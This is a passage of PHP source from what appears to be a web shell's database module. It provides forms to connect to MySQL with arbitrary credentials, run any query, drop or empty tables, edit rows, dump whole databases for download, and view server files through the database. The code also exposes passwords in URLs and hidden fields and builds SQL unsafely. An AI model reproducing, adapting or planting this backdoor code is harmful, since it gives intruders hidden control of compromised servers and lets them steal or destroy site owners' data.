                if (@$sql_server) {
                    $sql_sock = @mysql_connect($sql_server . ":" . $sql_port, $sql_login, $sql_passwd);
                    $err = mysql_smarterror($sql_sock);
                    @mysql_select_db($sql_db, $sql_sock);
                    if (@$sql_query and $submit) {
                        $sql_query_result = mysql_query($sql_query, $sql_sock);
                        $sql_query_error = mysql_smarterror($sql_sock);
                    }
                } else {
                    $sql_sock = FALSE;
                }
                if (!$sql_sock) {
                    if (!@$sql_server) {
                        echo "<blink><b><font style= color:#ff0000>No Connection ! ! !</font></b></blink>";
                    } else {
                        disp_error("ERROR: " . $err);
                    }
                } else {
                    #SQL Quicklaunch
                    $sqlquicklaunch = array();
                    $sqlquicklaunch[] = array("Index", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&");
                    $sqlquicklaunch[] = array("Query", $sql_surl . "sql_x=query&sql_tbl=" . urlencode($sql_tbl));
                    $sqlquicklaunch[] = array("Server status", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_x=serverstatus");
                    $sqlquicklaunch[] = array("Server variables", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_x=servervars");
                    $sqlquicklaunch[] = array("Processes", $surl . "x=sql&sql_login=" . htmlspecialchars($sql_login) . "&sql_passwd=" . htmlspecialchars($sql_passwd) . "&sql_server=" . htmlspecialchars($sql_server) . "&sql_port=" . htmlspecialchars($sql_port) . "&sql_x=processes");
                    $sqlquicklaunch[] = array("Logout", $surl . "x=sql");
                    echo "MySQL " . mysql_get_server_info() . " (proto v." . mysql_get_proto_info() . ") Server: " . htmlspecialchars($sql_server) . ":" . htmlspecialchars($sql_port) . " as " . htmlspecialchars($sql_login) . "@" . htmlspecialchars($sql_server) . " (password - \"" . htmlspecialchars($sql_passwd) . "\")<br>";
                    if (count($sqlquicklaunch) > 0) {
                        foreach ($sqlquicklaunch as $item) {
                            echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
                        }
                    }
                }
                echo "</div>";
                echo "<center><table class='tab'><tr>";
                if (!$sql_sock) {
                    echo '<td>
<form name="f_sql" action="' . $surl . 'x=sql" method="POST">
<input type="hidden" name="x" value="sql">
<table class="tabnet" style="padding:1px;">
<tr><th colspan="2"><b>MySQL Manager</b></th></tr>
<tr><td>Host</td><td><input type="text" name="sql_server" class="inputz" style="width:249px;background:black" value="localhost"></td></tr>
<tr><td>Username</td><td><input type="text" name="sql_login" class="inputz" value="" style="width:249px;background:black"></td></tr>
<tr><td>Password</td><td><input type="password" name="sql_passwd" class="inputz" value="" style="width:249px;background:black;"></td></tr>
<tr><td>Database</td><td><input type="text" name="sql_db" value="" class="inputz" style="width:249px;background:black"></td></tr>
<tr><td>Port</td><td><input type="text" name="sql_port"  class="inputz" value="3306" style="background:black;" size="6"> <input type="submit" class="inputzbut" style=color:$color value="Connect"></td></tr>
</table>
</form>';
                } else {
                    echo '<td valign="top" style="border:1px solid #333333;">
<center>
<a href="' . $sql_surl . '"><b style="color:#00ff00;">HOME</b></a>
<hr size="1" noshade>';
                    $result = mysql_list_dbs($sql_sock);
                    if (!$result) {
                        echo mysql_smarterror();
                    } else {
                        echo '<form action="' . $surl . 'x=sql">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
<select name="sql_db" onchange="this.form.submit()" style="width:100%;">';
                        $c = 0;
                        $dbs = "";
                        while ($row = mysql_fetch_row($result)) {
                            $dbs .= "\t\t<option value=\"" . $row[0] . "\"";
                            if (@$sql_db == $row[0]) {
                                $dbs .= " selected";
                            }
                            $dbs .= ">" . $row[0] . "</option>\n";
                            $c++;
                        }
                        echo "\t\t<option value=\"\">Databases (" . $c . ")</option>\n";
                        echo $dbs;
                    }
                    echo "</select>\n<hr size=\"1\" noshade>\n</form>\n</center>";
                    if (isset($sql_db)) {
                        $result = mysql_list_tables($sql_db);
                        if (!$result) {
                            $result = mysql_list_dbs($sql_sock);
                            $num = mysql_num_rows($result);
                            for ($i = 0; $i < $num; $i++) {
                                $dbname = mysql_dbname($result, $i);
                                echo "<table class='tab'><td style='background:#3F3F3F;border:1px solid #202020;border-top: 1px solid #505050;border-left: 1px solid #505050;'><b>+ <a href=\"" . $sql_surl . "sql_db=" . $dbname . "\">{$dbname}</a></b></td></table>";
                            }
                        } else {
                            echo "\t<table class='tub'><th><a href=\"" . $sql_surl . "&\"><b>" . htmlspecialchars($sql_db) . "</b></a></th></table><br>\n";
                            $c = 0;
                            while ($row = mysql_fetch_array($result)) {
                                $count = mysql_query("SELECT COUNT(*) FROM " . $row[0]);
                                $count_row = mysql_fetch_array($count);
                                echo "\t<b>+ <a style='color:#00ff00;' href=\"" . $sql_surl . "sql_db=" . htmlspecialchars($sql_db) . "&sql_tbl=" . htmlspecialchars($row[0]) . "\">" . htmlspecialchars($row[0]) . "</a></b> (" . $count_row[0] . ")</br></b>\n";
                                mysql_free_result($count);
                                $c++;
                            }
                            if (!$c) {
                                echo "No tables found in database";
                            }
                        }
                    }
                    echo "</td>";
                    echo "<td style=\"border:1px solid #333333;\">";
                    $diplay = TRUE;
                    if (@$sql_db) {
                        if (!is_numeric($c)) {
                            $c = 0;
                        }
                        if ($c == 0) {
                            $c = "no";
                        }
                        echo "\t<center><b>There are " . $c . " table(s) in database: " . htmlspecialchars($sql_db) . "";
                        if (count(@$dbquicklaunch) > 0) {
                            foreach ($dbsqlquicklaunch as $item) {
                                echo "[ <a href=\"" . $item[1] . "\">" . $item[0] . "</a> ] ";
                            }
                        }
                        echo "</b></center>\n";
                        $xs = array("", "dump");
                        if ($sql_x == "tbldrop") {
                            $sql_query = "DROP TABLE";
                            foreach ($boxtbl as $v) {
                                $sql_query .= "\n`" . $v . "` ,";
                            }
                            $sql_query = substr($sql_query, 0, -1) . ";";
                            $sql_x = "query";
                        } elseif (false) {
                            $sql_query = "";
                            foreach ($boxtbl as $v) {
                                $sql_query .= "DELETE FROM `" . $v . "` \n";
                            }
                            $sql_x = "query";
                        } elseif (false) {
                            if (count($boxtbl) > 0) {
                                $dmptbls = $boxtbl;
                            } elseif ($thistbl) {
                                $dmptbls = array($sql_tbl);
                            }
                            $sql_x = "dump";
                        } elseif (false) {
                            $sql_query = "CHECK TABLE";
                            foreach ($boxtbl as $v) {
                                $sql_query .= "\n`" . $v . "` ,";
                            }
                            $sql_query = substr($sql_query, 0, -1) . ";";
                            $sql_x = "query";
                        } elseif (false) {
                            $sql_query = "OPTIMIZE TABLE";
                            foreach ($boxtbl as $v) {
                                $sql_query .= "\n`" . $v . "` ,";
                            }
                            $sql_query = substr($sql_query, 0, -1) . ";";
                            $sql_x = "query";
                        } elseif (false) {
                            $sql_query = "REPAIR TABLE";
                            foreach ($boxtbl as $v) {
                                $sql_query .= "\n`" . $v . "` ,";
                            }
                            $sql_query = substr($sql_query, 0, -1) . ";";
                            $sql_x = "query";
                        } elseif (false) {
                            $sql_query = "ANALYZE TABLE";
                            foreach ($boxtbl as $v) {
                                $sql_query .= "\n`" . $v . "` ,";
                            }
                            $sql_query = substr($sql_query, 0, -1) . ";";
                            $sql_x = "query";
                        } elseif (false) {
                            $sql_query = "";
                            if (!empty($boxrow_all)) {
                                $sql_query = "DELETE * FROM `" . $sql_tbl . "`;";
                            } else {
                                foreach ($boxrow as $v) {
                                    $sql_query .= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;\n";
                                }
                                $sql_query = substr($sql_query, 0, -1);
                            }
                            $sql_x = "query";
                        } elseif ($sql_tbl_x == "insert") {
                            if ($sql_tbl_insert_radio == 1) {
                                $keys = "";
                                $akeys = array_keys($sql_tbl_insert);
                                foreach ($akeys as $v) {
                                    $keys .= "`" . addslashes($v) . "`, ";
                                }
                                if (!empty($keys)) {
                                    $keys = substr($keys, 0, strlen($keys) - 2);
                                }
                                $values = "";
                                $i = 0;
                                foreach (array_values($sql_tbl_insert) as $v) {
                                    if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {
                                        $values .= $funct . " (";
                                    }
                                    $values .= "'" . addslashes($v) . "'";
                                    if ($funct) {
                                        $values .= ")";
                                    }
                                    $values .= ", ";
                                    $i++;
                                }
                                if (!empty($values)) {
                                    $values = substr($values, 0, strlen($values) - 2);
                                }
                                $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );";
                                $sql_x = "query";
                                $sql_tbl_x = "browse";
                            } elseif ($sql_tbl_insert_radio == 2) {
                                $set = mysql_buildwhere($sql_tbl_insert, ", ", $sql_tbl_insert_functs);
                                $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;";
                                $result = mysql_query($sql_query) or print mysql_smarterror();
                                $result = mysql_fetch_array($result, MYSQL_ASSOC);
                                $sql_x = "query";
                                $sql_tbl_x = "browse";
                            }
                        }
                        if ($sql_x == "query") {
                            echo "<hr size=\"1\" noshade>";
                            if ($submit and !$sql_query_result and $sql_confirm) {
                                if (!$sql_query_error) {
                                    $sql_query_error = "Query was empty";
                                }
                                echo "<b>Error:</b> <br>" . $sql_query_error . "<br>";
                            }
                            if ($sql_query_result or !$sql_confirm) {
                                $sql_x = $sql_goto;
                            }
                            if (!$submit or $sql_x) {
                                echo "<table class='tab'><tr><td><form action=\"" . $sql_surl . "\" method=\"POST\"><b>";
                                if ($sql_query and !$submit) {
                                    echo "Do you really want to:";
                                } else {
                                    echo "SQL-Query :";
                                }
                                echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">" . htmlspecialchars($sql_query) . "</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"" . htmlspecialchars($sql_goto) . "\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";
                            }
                        }
                        if (in_array($sql_x, $xs)) {
                            echo '<table class="tab">
<tr>
<td style="border:1px solid #333333;padding:3px;">
<b>Create new table:</b>
<form action="' . $surl . '">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newtbl">
<input type="hidden" name="sql_db" value="' . htmlspecialchars($sql_db) . '">
<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
<input type="text" name="sql_newtbl" size="20">
Fields: <input type="text" name="sql_field" size="3">
<input class="inputzbut" type="submit" value="Create">
</form>
</td>
<td style="border:1px solid #333333;padding:3px;"><b>Dump DB:</b>
<form action="' . $surl . '">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="dump">
<input type="hidden" name="sql_db" value="' . htmlspecialchars($sql_db) . '">
<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
<input type="text" name="dump_file" size="30" value="dump_' . getenv("SERVER_NAME") . '_' . $sql_db . '_' . date("d-m-Y-H-i-s") . '.sql">
<input type="submit" class="inputzbut" name="submit" value="Dump">
</form>
</td>
</tr>
</table>';
                            if (!empty($sql_x)) {
                                echo "<hr size=\"1\" noshade>";
                            }
                            if ($sql_x == "newtbl") {
                                echo "<b>";
                                if (mysql_create_db($sql_newdb) and !empty($sql_newdb)) {
                                    echo "DB \"" . htmlspecialchars($sql_newdb) . "\" has been created with success!</b><br>";
                                } else {
                                    echo "Can't create DB \"" . htmlspecialchars($sql_newdb) . "\".<br>Reason:</b> " . mysql_smarterror();
                                }
                            } elseif ($sql_x == "dump") {
                                if (empty($submit)) {
                                    $diplay = FALSE;
                                    echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><b>SQL-Dump:</b><br><br>";
                                    echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"" . urlencode($sql_db) . "\"><br><br>";
                                    $v = join(";", $dmptbls);
                                    echo "<b>Only tables (explode \";\") :</b> <input type=\"text\" name=\"dmptbls\" value=\"" . htmlspecialchars($v) . "\" size=\"" . (strlen($v) + 5) . "\"><br><br>";
                                    if ($dump_file) {
                                        $tmp = $dump_file;
                                    } else {
                                        $tmp = htmlspecialchars("./dump_" . getenv("SERVER_NAME") . "_" . $sql_db . "_" . date("d-m-Y-H-i-s") . ".sql");
                                    }
                                    echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"" . $tmp . "\" size=\"" . (strlen($tmp) + strlen($tmp) % 30) . "\"><br><br>";
                                    echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
                                    echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
                                    echo "<br><br><input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"Dump\">";
                                    echo "</form>";
                                } else {
                                    $diplay = TRUE;
                                    $set = array();
                                    $set["sock"] = $sql_sock;
                                    $set["db"] = $sql_db;
                                    $dump_out = "download";
                                    $set["print"] = 0;
                                    $set["nl2br"] = 0;
                                    $set[""] = 0;
                                    $set["file"] = $dump_file;
                                    $set["add_drop"] = TRUE;
                                    $set["onlytabs"] = array();
                                    if (!empty($dmptbls)) {
                                        $set["onlytabs"] = explode(";", $dmptbls);
                                    }
                                    $ret = mysql_dump($set);
                                    if ($sql_dump_download) {
                                        @ob_clean();
                                        header("Content-type: application/octet-stream");
                                        header("Content-length: " . strlen($ret));
                                        header("Content-disposition: attachment; filename=\"" . basename($sql_dump_file) . "\";");
                                        echo $ret;
                                        exit;
                                    } elseif ($sql_dump_savetofile) {
                                        $fp = fopen($sql_dump_file, "w");
                                        if (!$fp) {
                                            echo "<b>Dump error! Can't write to \"" . htmlspecialchars($sql_dump_file) . "\"!";
                                        } else {
                                            fwrite($fp, $ret);
                                            fclose($fp);
                                            echo "<b>Dumped! Dump has been writed to \"" . htmlspecialchars(realpath($sql_dump_file)) . "\" (" . view_size(filesize($sql_dump_file)) . ")</b>.";
                                        }
                                    } else {
                                        echo "<b>Dump: nothing to do!</b>";
                                    }
                                }
                            }
                            if ($diplay) {
                                if (!empty($sql_tbl)) {
                                    if (empty($sql_tbl_x)) {
                                        $sql_tbl_x = "browse";
                                    }
                                    $count = mysql_query("SELECT COUNT(*) FROM `" . $sql_tbl . "`;");
                                    $count_row = mysql_fetch_array($count);
                                    mysql_free_result($count);
                                    $tbl_struct_result = mysql_query("SHOW FIELDS FROM `" . $sql_tbl . "`;");
                                    $tbl_struct_fields = array();
                                    while ($row = mysql_fetch_assoc($tbl_struct_result)) {
                                        $tbl_struct_fields[] = $row;
                                    }
                                    if (@$sql_ls > @$sql_le) {
                                        $sql_le = $sql_ls + $perpage;
                                    }
                                    if (empty($sql_tbl_page)) {
                                        $sql_tbl_page = 0;
                                    }
                                    if (empty($sql_tbl_ls)) {
                                        $sql_tbl_ls = 0;
                                    }
                                    if (empty($sql_tbl_le)) {
                                        $sql_tbl_le = 30;
                                    }
                                    $perpage = $sql_tbl_le - $sql_tbl_ls;
                                    if (!is_numeric($perpage)) {
                                        $perpage = 10;
                                    }
                                    $numpages = $count_row[0] / $perpage;
                                    $e = explode(" ", $sql_order);
                                    if (count($e) == 2) {
                                        if ($e[0] == "d") {
                                            $asc_desc = "DESC";
                                        } else {
                                            $asc_desc = "ASC";
                                        }
                                        $v = "ORDER BY `" . $e[1] . "` " . $asc_desc . " ";
                                    } else {
                                        $v = "";
                                    }
                                    $query = "SELECT * FROM `" . $sql_tbl . "` " . $v . "LIMIT " . $sql_tbl_ls . " , " . $perpage . "";
                                    $result = mysql_query($query) or print mysql_smarterror();
                                    echo "<center><b>Table " . htmlspecialchars($sql_tbl) . " (" . mysql_num_fields($result) . " cols and " . $count_row[0] . " rows)</b></center>";
                                    echo "<hr size=\"1\" noshade>";
                                    echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_x=structure\">[<b> Structure </b>]</a> &nbsp; ";
                                    echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_x=browse\">[<b> Browse </b>]</a> &nbsp; ";
                                    echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> &nbsp; ";
                                    echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_x=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a> &nbsp; ";
                                    if ($sql_tbl_x == "structure") {
                                        echo "<b>Under construction!</b>";
                                    }
                                    if ($sql_tbl_x == "insert") {
                                        if (!is_array($sql_tbl_insert)) {
                                            $sql_tbl_insert = array();
                                        }
                                        if (!empty($sql_tbl_insert_radio)) {
                                            echo "<b>Under construction!</b>";
                                        } else {
                                            echo "<br><br><b>Inserting row into table:</b><br>";
                                            if (!empty($sql_tbl_insert_q)) {
                                                $sql_query = "SELECT * FROM `" . $sql_tbl . "`";
                                                $sql_query .= " WHERE" . $sql_tbl_insert_q;
                                                $sql_query .= " LIMIT 1;";
                                                $result = mysql_query($sql_query, $sql_sock) or print "<br><br>" . mysql_smarterror();
                                                $values = mysql_fetch_assoc($result);
                                                mysql_free_result($result);
                                            } else {
                                                $values = array();
                                            }
                                            echo "<form method=\"POST\"><table width=\"1%\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
                                            foreach ($tbl_struct_fields as $field) {
                                                $name = $field["Field"];
                                                if (empty($sql_tbl_insert_q)) {
                                                    $v = "";
                                                }
                                                echo "<tr><td><b>" . htmlspecialchars($name) . "</b></td><td>" . $field["Type"] . "</td><td><select name=\"sql_tbl_insert_functs[" . htmlspecialchars($name) . "]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[" . htmlspecialchars($name) . "]\" value=\"" . htmlspecialchars($values[$name]) . "\" size=50></td></tr>";
                                                $i++;
                                            }
                                            echo "</table><br>";
                                            echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\"";
                                            if (empty($sql_tbl_insert_q)) {
                                                echo " checked";
                                            }
                                            echo "><b>Insert as new row</b>";
                                            if (!empty($sql_tbl_insert_q)) {
                                                echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>";
                                                echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"" . htmlspecialchars($sql_tbl_insert_q) . "\">";
                                            }
                                            echo "<br><br><input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form>";
                                        }
                                    }
                                    if ($sql_tbl_x == "browse") {
                                        $sql_tbl_ls = abs($sql_tbl_ls);
                                        $sql_tbl_le = abs($sql_tbl_le);
                                        echo "<hr size=\"1\" noshade>";
                                        echo "<b>Page: </b>";
                                        $b = 0;
                                        for ($i = 0; $i < $numpages; $i++) {
                                            if ($i * $perpage != $sql_tbl_ls or $i * $perpage + $perpage != $sql_tbl_le) {
                                                echo "<a href=\"" . $sql_surl . "sql_tbl=" . urlencode($sql_tbl) . "&sql_order=" . htmlspecialchars($sql_order) . "&sql_tbl_ls=" . $i * $perpage . "&sql_tbl_le=" . ($i * $perpage + $perpage) . "\"><u>";
                                            }
                                            echo $i;
                                            if ($i * $perpage != $sql_tbl_ls or $i * $perpage + $perpage != $sql_tbl_le) {
                                                echo "</u></a>";
                                            }
                                            if ($i / 30 == round($i / 30) and $i > 0) {
                                                echo "<br>";
                                            } else {
                                                echo " ";
                                            }
                                        }
                                        if ($i == 0) {
                                            echo "empty";
                                        }
                                        echo "<br><br><form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"" . htmlspecialchars($sql_db) . "\"><input type=\"hidden\" name=\"sql_login\" value=\"" . htmlspecialchars($sql_login) . "\"><input type=\"hidden\" name=\"sql_passwd\" value=\"" . htmlspecialchars($sql_passwd) . "\"><input type=\"hidden\" name=\"sql_server\" value=\"" . htmlspecialchars($sql_server) . "\"><input type=\"hidden\" name=\"sql_port\" value=\"" . htmlspecialchars($sql_port) . "\"><input type=\"hidden\" name=\"sql_tbl\" value=\"" . htmlspecialchars($sql_tbl) . "\"><input type=\"hidden\" name=\"sql_order\" value=\"" . htmlspecialchars($sql_order) . "\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"" . $sql_tbl_ls . "\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"" . $sql_tbl_le . "\"> <input type=\"submit\" value=\"View\"></form>";
                                        echo "<br><form method=\"POST\">\n";
                                        echo "<table class='tub'><tr>";
                                        echo "<th><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></th>";
                                        for ($i = 0; $i < mysql_num_fields($result); $i++) {
                                            $v = mysql_field_name($result, $i);
                                            if ($e[0] == "a") {
                                                $s = "d";
                                                $m = "asc";
                                            } else {
                                                $s = "a";
                                                $m = "desc";
                                            }
                                            echo "<th>";
                                            if (empty($e[0])) {
                                                $e[0] = "a";
                                            }
                                            if (@$e[1] != $v) {
                                                echo "<a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $e[0] . "%20" . $v . "\"><b>" . $v . "</b></a>";
                                            } else {
                                                echo "<b>" . $v . "</b><a href=\"" . $sql_surl . "sql_tbl=" . $sql_tbl . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_order=" . $s . "%20" . $v . "\"><img src=\"" . $surl . "x=img&img=sort_" . $m . "\" alt=\"" . $m . "\"></a>";
                                            }
                                            echo "</th>";
                                        }
                                        echo "<th><font color=\"#00FF00\"><b>action</b></font></th>";
                                        echo "</tr>";
                                        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
                                            echo "<tr>";
                                            $w = "";
                                            $i = 0;
                                            foreach ($row as $k => $v) {
                                                $name = mysql_field_name($result, $i);
                                                $w .= " `" . $name . "` = '" . addslashes($v) . "' AND";
                                                $i++;
                                            }
                                            if (count($row) > 0) {
                                                $w = substr($w, 0, strlen($w) - 3);
                                            }
                                            echo "<td align='center' style='padding:0px;'><input type=\"checkbox\" name=\"boxrow[]\" value=\"" . $w . "\"></td>";
                                            $i = 0;
                                            foreach ($row as $k => $v) {
                                                $v = htmlspecialchars($v);
                                                if ($v == "") {
                                                    $v = "<font color=\"#00FF00\">NULL</font>";
                                                }
                                                echo "<td>" . $v . "</td>";
                                                $i++;
                                            }
                                            echo "<td>";
                                            echo "<a href=\"" . $sql_surl . "sql_x=query&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_query=" . urlencode("DELETE FROM `" . $sql_tbl . "` WHERE" . $w . " LIMIT 1;") . "\">Delete</a>";
                                            echo "&nbsp;|&nbsp;";
                                            echo "<a href=\"" . $sql_surl . "sql_tbl_x=insert&sql_tbl=" . urlencode($sql_tbl) . "&sql_tbl_ls=" . $sql_tbl_ls . "&sql_tbl_le=" . $sql_tbl_le . "&sql_tbl_insert_q=" . urlencode($w) . "\">Edit</a> ";
                                            echo "</td>";
                                            echo "</tr>";
                                        }
                                        mysql_free_result($result);
                                        echo "</table><hr size=\"1\" noshade><p align=\"left\"><input type=\"checkbox\"/> <select name=\"sql_x\">";
                                        echo "<option value=\"\">With selected:</option>";
                                        echo "<option value=\"deleterow\">Delete</option>";
                                        echo "</select> <input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form></p>";
                                    }
                                } else {
                                    $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
                                    if (!$result) {
                                        echo mysql_smarterror();
                                    } else {
                                        echo "<form method=\"POST\">\n<table class=\"tub\">\n<tr><th><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>";
                                        $i = 0;
                                        $tsize = $trows = 0;
                                        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
                                            $tsize += $row["Data_length"];
                                            $trows += $row["Rows"];
                                            $size = view_size($row["Data_length"]);
                                            echo '<tr>
<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="' . $row["Name"] . '"></td>
<td><a href="' . $sql_surl . 'sql_tbl=' . urlencode($row["Name"]) . '"><b>' . $row["Name"] . '</b></a></td>
<td>' . $row["Rows"] . '</td><td>' . $row["Engine"] . '</td><td>' . $row["Create_time"] . '</td><td>' . $row["Update_time"] . '</td><td>' . $size . '</td>
<td><a href="' . $sql_surl . 'sql_x=query&sql_query=' . urlencode("DELETE FROM `" . $row["Name"] . "`") . '">Empty</a>&nbsp;|&nbsp;<a href="' . $sql_surl . 'sql_x=query&sql_query=' . urlencode("DROP TABLE `" . $row["Name"] . "`") . '">Drop</a>&nbsp;|&nbsp;<a href="' . $sql_surl . 'sql_tbl_x=insert&sql_tbl=' . $row["Name"] . '">Insert</a></td>
</tr>';
                                            $i++;
                                        }
                                        echo "\t\t<tr>\n" . "\t\t<th>+</th><th>{$i} table(s)</th><th>{$trows}</th><th>{$row[1]}</th><th>{$row[10]}</th><th>{$row[11]}</th><th>" . view_size($tsize) . "</th><th></th>\n";
                                        echo "</tr>\n</table>\n<div align=\"right\">\n<select class=\"inputz\" name=\"sql_x\">\n<option value=\"\">With selected:</option>\n<option value=\"tbldrop\">Drop</option>\n<option value=\"tblempty\">Empty</option>\";\n<option value=\"tbldump\">Dump</option>\";\n<option value=\"tblcheck\">Check table</option>\";\n<option value=\"tbloptimize\">Optimize table</option>\";\n<option value=\"tblrepair\">Repair table</option>\";\n<option value=\"tblanalyze\">Analyze table</option>\";\n</select>\n<input class=\"inputzbut\" type=\"submit\" value=\"Confirm\">\n</div>\n</form>";
                                        mysql_free_result($result);
                                    }
                                }
                            }
                        }
                    } else {
                        $xs = array("", "newdb", "serverstatus", "servervars", "processes", "getfile");
                        if (in_array($sql_x, $xs)) {
                            echo '<table class="tab">
<tr>
<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
<form action="' . $surl . '">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="newdb">
<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
<input class="inputz" type="text" name="sql_newdb" size="20">
<input class="inputzbut"  type="submit" value="Create">
</form>
</td>
<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
<form action="' . $surl . '">
<input type="hidden" name="x" value="sql">
<input type="hidden" name="sql_x" value="getfile">
<input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '">
<input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '">
<input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '">
<input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '">
<input class="inputz" type="text" name="sql_getfile" size="30" value="' . htmlspecialchars($sql_getfile) . '">
<input class="inputzbut" type="submit" value="Get">
</form>
</td>
